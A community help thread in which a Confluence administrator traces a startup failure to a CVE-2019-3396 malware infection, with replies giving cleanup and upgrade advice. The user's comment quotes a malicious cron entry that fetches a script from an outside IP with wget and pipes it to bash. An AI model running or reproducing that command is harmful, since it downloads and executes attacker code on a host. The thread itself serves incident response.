Confluence stops immediately after start
Asked by tobiasgrf:

Hi,

I'm getting 503 errors when I try to access our confluence page since about 3 days ago. Nothing has changed since then. I tried to restart confluence and it looks okay at first, but the process is apparently immediately killed after it starts.

This is the only thing in catalina.out:

```
?17-Apr-2019 07:34:33.136 WARNING [main] org.apache.tomcat.util.digester.SetPropertiesRule.be
?gin [SetPropertiesRule]{Server} Setting property 'debug' to '0' did not find a matching prop
?erty.
```

and the atlassian-confluence.log is not touched at all. When I start confluence in the foreground, this it all it says:

```
executing as current user
?If you encounter issues starting up Confluence, please see the Installation guide at http://
?confluence.atlassian.com/display/DOC/Confluence+Installation+Guide
?
?Server startup logs are located in /opt/atlassian/confluence/logs/catalina.out
?---------------------------------------------------------------------------
?Using Java: /opt/atlassian/confluence/jre//bin/java
?2019-04-17 07:46:12,167 INFO [main] [atlassian.confluence.bootstrap.SynchronyProxyWatchdog]
?A Context element for ${confluence.context.path}/synchrony-proxy is found in /opt/atlassian/
?confluence/conf/server.xml. No further action is required
?---------------------------------------------------------------------------
?Using CATALINA_BASE: /opt/atlassian/confluence
?Using CATALINA_HOME: /opt/atlassian/confluence
?Using CATALINA_TMPDIR: /opt/atlassian/confluence/temp
?Using JRE_HOME: /opt/atlassian/confluence/jre/
?Using CLASSPATH: /opt/atlassian/confluence/bin/bootstrap.jar:/opt/atlassian/confluence
?/bin/tomcat-juli.jar
?Using CATALINA_PID: /opt/atlassian/confluence/work/catalina.pid
?17-Apr-2019 07:46:13.233 WARNING [main] org.apache.tomcat.util.digester.SetPropertiesRule.be
?gin [SetPropertiesRule]{Server} Setting property 'debug' to '0' did not find a matching prop
?erty.
?17-Apr-2019 07:46:13.469 WARNING [main] org.apache.catalina.startup.SetAllPropertiesRule.beg
?in [SetAllPropertiesRule]{Server/Service/Connector} Setting property 'debug' to '0' did not
?find a matching property.
?17-Apr-2019 07:46:13.754 WARNING [main] org.apache.tomcat.util.digester.SetPropertiesRule.be
?gin [SetPropertiesRule]{Server/Service/Engine} Setting property 'debug' to '0' did not find
?a matching property.
?17-Apr-2019 07:46:13.770 WARNING [main] org.apache.tomcat.util.digester.SetPropertiesRule.be
?gin [SetPropertiesRule]{Server/Service/Engine/Host} Setting property 'debug' to '0' did not
?find a matching property.
?17-Apr-2019 07:46:13.927 WARNING [main] org.apache.tomcat.util.digester.SetPropertiesRule.be
?gin [SetPropertiesRule]{Server/Service/Engine/Host/Context} Setting property 'debug' to '0'
?did not find a matching property.
?Killed
```

I can still access the database manually, so that shouldn't be the problem. Does anyone have an idea what I could try next?

Cheers,

Tobias


Answers:
author: Thomas COTTIN
body: Hi,

Aren't you facing the issue described in this post : <https://community.atlassian.com/t5/Confluence-questions/Confluence-6-12-does-not-start/qaq-p/1059340> ?

This exploit spread pretty quickly, and seems to touch a huge number of Confluence instances.

Cheers,  
Thomas.

comments: author: tobiasgrf
body: I found something about that yesterday as well and thought so, too. But I cannot find any 'kerberods' files (as the LSD tool suggests) and I don't see anything suspicious in top. I installed and ran 'maldet' over night and it didn't find anything.

I just checked the cron jobs for the confluence user and found this

```
*/5 * * * * /usr/bin/wget -q -O /tmp/seasame http://51.38.133.232:80 && bash /tmp/seasame
```

which does look suspicious or at least I don't know what it is... I removed that, but I couldn't find the script in ps, so I guess it wasn't running. And confluence is still not starting...


author: Thomas COTTIN
body: This is definitely suspicious...

In my case, the process was preventing the app to start, so can you exec :

```
ps -fu <confluence_system_user>
```

and confirm that you have nothing odd?


author: tobiasgrf
body: That's the output:

```
UID PID PPID C STIME TTY TIME CMD
?502 6343 1 99 Apr16 ? 2-00:06:12 /boot/vmlinuz
?502 20127 1 0 Apr13 ? 00:02:32 ./PKHO6m6 ./hN3DB7F
?502 20128 1 0 Apr13 ? 00:03:10 ./PKHO6m6 ./eKA4aLi
?502 23759 24947 0 09:09 ? 00:00:00 sleep 180
?502 24947 1 0 Apr13 ? 00:00:01 bash /dev/shm/z3.sh
?502 31749 20127 0 09:11 ? 00:00:00 sleep 10
?502 31870 20128 0 09:11 ? 00:00:00 sleep 5
```

don't know what those PKHO things are. Any idea?


author: Thomas COTTIN
body: Not a clue. But I'd say these are malicious.

As Atlassian's solution doesn't apply (it seems to be a different malware), and if you have the possibility to do that, I'd backup the DB \& data folder an an other machine, do a malware / virus analysis on it, and reinstall the server.


author: tobiasgrf
body: Alright, I removed the cron job and killed all processes from user 502 (that was apparently created) and now it seems to work again. Thanks for the help!


author: Thomas COTTIN
body: A pleasure :)

Don't forget to upgrade to a fixed version, or at least to disable the *Widget Connector* and *WebDav plugin*system apps ;)

Cheers !


author: Diego
body: Hello there!

Posting this answer here just so any customer who lands on your questions has more information on this issue. Here goes:

Based on your version and symptoms, it sounds like your instance might be affected by an opportunistic attack against the CVE-2019-3396 Widget Connector vulnerability from March 20th ([see Confluence Security Advisory - 2019-03-20](https://confluence.atlassian.com/doc/confluence-security-advisory-2019-03-20-966660264.html)). We've seen an infection going around that injects malware and the bitcoin miner it tries to run uses all the CPU available on the box. Initially the kerberods malware was being deployed as the payload, but other attacks might be trying to inject different payloads.

I'd recommend tackling things in this order:

1. Kill malicious processes
2. Clean up your crontab
3. Upgrade Confluence
4. Use a malware scanner to find remaining malware traces

**Malicious processes**

The **top** command will help you find processes (probably running under the confluence user account) that are consuming a large amount of CPU. If Confluence is currently stopped, you can probably plan on killing any processes running as the confluence user. note the process ID (pid) from the **top** output and then kill the process using **kill -9** followed by the pid. Example:

```
sudo kill -9 12395
```

**Clean up your crontab**

Since most malware adds a cronjob that relaunches the malware every few minutes, you'll also need to [check the crontab file](https://help.ubuntu.com/community/CronHowto) and remove any suspicious-looking entries. For Ubuntu, this is stored in the /var/spool/cron/crontabs/ directory. Normally you should use the crontab command to edit the crontab, but for cleanup purposes we'll be inspecting the file for any pre-existing entries.

Using vim (or whichever text editor you're comfortable with), you'll open the file and remove suspicious-looking jobs.

```
sudo vim /var/spool/cron/crontabs/confluence
```

Confluence comes up on system startup through the SysV/systemd daemons, so we would expect the confluence user's crontab to **not exist** under normal circumstances. It's most likely the case that any entries in this file are malicious, but make sure you check them before deleting them entirely.

**Upgrade Confluence**

Once your CPU is under control and new malicious process aren't spawning, you need to upgrade Confluence to a version that isn't affected by the vulnerability. I'd recommend looking at one of these versions (latest releases as of this post):

* 6.13.4 (6.13 is an [Enterprise release](https://confluence.atlassian.com/enterprise/atlassian-enterprise-releases-948227420.html))
* 6.14.3
* 6.15.2

**Use a malware scanner**

Finally, you need to clean up any remaining traces of malware on your system. The [LSD malware cleanup tool](https://git.laucyun.com/security/lsd_malware_clean_tool/blob/master/README.md) will be useful for removing the Kerberods malware. Other malware payloads might need different cleanup tools depending on which attack and payload were used. A good starting place for detecting other types of infections [are the scanners linked here](https://www.tecmint.com/scan-linux-for-malware-and-rootkits/). Once a particular infection is identified, googling for "____ removal tool" is a good place to start if the scanner was unable to remove the malware automatically.

comments: author: brbojorque
body: [@Diego](/t5/user/viewprofilepage/user-id/1188952) , any quick fix until the upgrade? Any add-ons to disable or anything?


Tags: atl-confsec

confluence-server

server

startup